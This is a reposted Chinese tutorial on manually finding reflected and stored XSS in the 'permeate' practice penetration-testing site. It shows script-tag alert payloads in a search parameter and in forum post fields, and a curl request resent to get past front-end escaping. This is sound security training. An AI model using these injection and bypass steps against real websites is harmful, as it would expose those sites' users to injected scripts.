工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)

Posted 开源聚合网络空间安全研究院

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)相关的知识,希望对你有一定的参考价值。

网安教育

培养网络安全人才

技术交流、学习咨询

工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)
笔者最近在慕课录制了一套XSS跨站漏洞 加强Web安全视频教程,课程当中有讲到XSS的挖掘方式,所以在录制课程之前需要做大量实践案例,最近视频已经录制完成,准备将这些XSS漏洞的挖掘过程记录下来,方便自己也方便他人。


在本篇文章当中会一permeate生态测试系统为例,笔者此前写过一篇文章当中笔者已经讲解如何安装permeate渗透测试系统,因此这里不再重复讲解如何安装此渗透测试系统,参考文档:利用php扩展Taint找出网站的潜在安全漏洞实践<https://segmentfault.com/a/1190000016032501#articleHeader11>


内容概要

XSS漏洞原理

反射型挖掘

存储型挖掘


在实践漏洞之前,笔者准备先简单介绍一下XSS漏洞,不过XSS的相关概念介绍并不是本文的重点,因此不会过多细讲;XSS的漏洞类型主要分为三类:反射型、存储型、DOM型


XSS漏洞原理

1. 漏洞成因


XSS的漏洞主要成因是后端接收参数时未经过滤,导致参数改变了html的结构,如下图所示

工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)

在图中可以看到攻击者的参数被原样放到了HTML代码当中,导致原本的结构被改变,当这份代码被浏览器执行之后,将执行alert事件。


2. 反射型



工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


在图中可以看到,此处原本是输入一个名字,单实际传递了一个script标签,此标签也被原样放到了HTML结构当中,结果script标签代码中的代码被触发


3. 存储型



工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)



http://permeate.songboy.net/article/1


但当存在存储型XSS时,受害者打开此URL,攻击代码将会被触发,这种情况下笔者便称之为存储型XSS漏洞。


4. DOM型


DOM型XSS较为特殊,笔者前面反射型XSS和存储型XSS都是以传播方式来区分的,而DOM型XSS和传参方式无关,而是当开发者做了一些安全防护之后,任出现安全问题的一种现象,如下图所示


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


在图片中,可以看到参数name已经使用函数转义了,按理说此时将参数传递到前端页面是不会产生XSS漏洞的;但当javascript代码将参数进行DOM节点操作之后,原本被转义的代码又会被还原,因此还是会被触发,如下图所示


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


在图中看到XSS代码已经被触发,这种DOM型XSS相对来说更加隐蔽,所以防御XSS漏洞的不能仅仅依靠后端开发者,前端开发者也应当了解XSS漏洞。


反射型挖掘

经过上一节的原理介绍,笔者相信大家对XSS已经有一些了解,现在笔者需要进行手工XSS漏洞挖掘,在手工挖掘之前笔者需要先逛逛网站有哪些功能点,如下图是permeate的界面

工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


1.  思路分析



工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


而在首页笔者也看见此网站有搜索功能,因此可以从搜索位置着手,可以在搜索位置输入一个简单的payload,参考如下

<script>alert(123)</script>


 http://permeate.songboy.net/home/search.php?keywords=<script>alert(123)</script>


搜索的表单是使用了GET传参,满足了测试反射型的第一步要求


2.  漏洞检验


接下来就需要看看笔者的payload有没有被触发,结果很意外,不但没有被触发还被浏览器所阻止了,如下图


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


这里就需要跟读者说明一下,谷歌内核浏览器自带XSS筛选器,所以对于反射型XSS测试,尽量不使用谷歌浏览器,笔者建议使用火狐浏览器进行测试;


3.  结果分析



工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


此时payload已经被触发,说明找到了一个反射型XSS的漏洞,这种漏洞相对来说非常初级,随着浏览器的XSS筛选器变得更加智能,这种漏洞也越来越少,在下面的内容当中笔者将会提到存储型XSS挖掘与绕过。

存储型挖掘

现在笔者来寻找存储型XSS,存储型的攻击代码是存储在服务端,因此需要找出一些会将表单内容存储到服务端的位置,笔者在之前已经对permeate做了一番了解,因此知道permeate拥有发帖和回帖功能,这些功能正是需要将参数存储起来并展示的地方。


1. 发现漏洞


在首页点击XSS板块,进入到了板块列表当中,如下图


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


在右下角能看到有一个发帖按钮,点击发帖按钮后,即可进入发帖界面,如下图


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


在permeate渗透测试系统当中,笔者如果要发表帖子,那么就需要有账号,笔者这里随便注册一个账号,注册过程笔者就不详细讲解了


2. 检验漏洞


在注册账号完成并登陆之后,笔者再次打开发帖页面,并在标题处和内容处都填写payload,参考内容如下:

<script>alert(123)</script>


在标题处和帖子内容中分别填写payload,填写好之后,应和与下图一致


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)

填写好内容之后,笔者点击下方的发表按钮,即可进行发帖,发帖成功会弹出一个提示成功,如下图所示


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


点击确定之后,会跳转到发帖列表,并弹出一个123的提示框,如下图所示


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


如果看到这个弹框,说明笔者的payload已经被执行,点击确定就可以看到列表的内容,如下图所示


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


在列表中只显示标题,所以帖子内容中的payload并没有被执行;


3.  抓包绕过

现在点击标题,进入帖子详情页面,在详情页笔者发现payload也只触发了一次,而且内容当中的标签被直接显示了出来,如下图


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


当标签被直接显示出来,这说明笔者的参数被转义了;转义分为两种,前端转义和后端转义,如果是后端转义通常笔者会放弃测试,如果是前端转义则可以绕过这个限制;在这里笔者发现标题没有被转义,而内容被转,猜测可能是前端做的转义,因此可以通过浏览器的审查工具将数据包拷贝下来;


首先重新打开发帖页面,然后在网页随便一个位置单击鼠标右键->选择审查元素->切换到network标签并勾选Preserve log,打开网络并勾选Preserve log的目的是让发表帖子之后,能在网络请求中找到该记录,现在笔者可以填写新的payload,如下图


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


点击发表按钮之后,笔者可以在控制台中找到刚才的post请求,从请求中可以看出,这个数据发出去就已经被转义了,如下图


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


4.  编码替换

当确定这个地方存在前端做了转义处理,如果后端没有做处理,笔者就可以绕过它,现在笔者将请求复制出来,然后改变里面的数据,如下图


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


复制出来的数据如下

curl 'http://permeate.songboy.net/home/_fatie.php?bk=6&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://permeate.songboy.net' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://permeate.songboy.net/home/fatie.php?bk=6' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: __cfduid=defc970ef7081e30aedd761da5762b1891532003579; UM_distinctid=1655a61a23343c-03f0904540a333-34657908-1fa400-1655a61a234323; PHPSESSID=rufhm0741qfv55cpfnc80k1g4l' --data 'csrf_token=3908&bk=6&title=222%3Cscript+%3Ealert%28123%29%3C%2Fscript%3E&content=%3Cp%3E222%26lt%3Bscript+%26gt%3Balert%28123%29%26lt%3B%2Fscript%26gt%3B%3C%2Fp%3E' --compressed


笔者找到参数中的title和content参数值,将title的参数值复制下来,然后替换content的参数值,替换后的内容如下

curl 'http://permeate.songboy.net/home/_fatie.php?bk=6&zt=0' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://permeate.songboy.net' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: http://permeate.songboy.net/home/fatie.php?bk=6' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: zh-CN,zh;q=0.9,en;q=0.8' -H 'Cookie: __cfduid=defc970ef7081e30aedd761da5762b1891532003579; UM_distinctid=1655a61a23343c-03f0904540a333-34657908-1fa400-1655a61a234323; PHPSESSID=rufhm0741qfv55cpfnc80k1g4l' --data 'csrf_token=3908&bk=6&title=222%3Cscript+%3Ealert%28123%29%3C%2Fscript%3E&content=222%3Cscript+%3Ealert%28123%29%3C%2Fscript%3E' --compressed


替换完成之后,笔者将此内容复制到终端当中(如果读者用的是windows操作系统,可以下载一个cmder),然后按下回车键,结果如下图


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


5.  结果分析 


在返回结果当中可以看到提示发帖成功,此时就笔者已经成功发布了一个新帖子,回到帖子列表当中看到有三条帖子,在最后面的帖子则是笔者新发布的,如下图


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


打开详情页,笔者被弹了两次提示框,说明标题和内容当中的payload都被触发,并且在控制台当中也可以看到script变成了DOM节点,而不是文本展现出来,如下图所示


工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)


看到此处说明笔者已经成功绕过前端XSS过滤器,晚一些在发表一篇工具盘,和防御篇。

文:汤青松/ichunqiu

VX:songboy8888


开源聚合网安训练营
工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)




你可能还想看 历史文章



工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)
工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)

以上是关于工具扫描?NO!手工找出网站中可能存在的XSS漏洞(附详细分析)的主要内容,如果未能解决你的问题,请参考以下文章

发现XSS漏洞的一般做法都有哪些?

网站漏洞扫描工具之Netsparker

[黑客攻防] 网站漏洞扫描工具 Netsparker4.9.1.16896最新官方破解版

网站漏洞扫描工具Uniscan

mac下都有哪些web网站漏洞扫描的工具?

Netsparker 4.6.1—黑客的Web应用漏洞扫描工具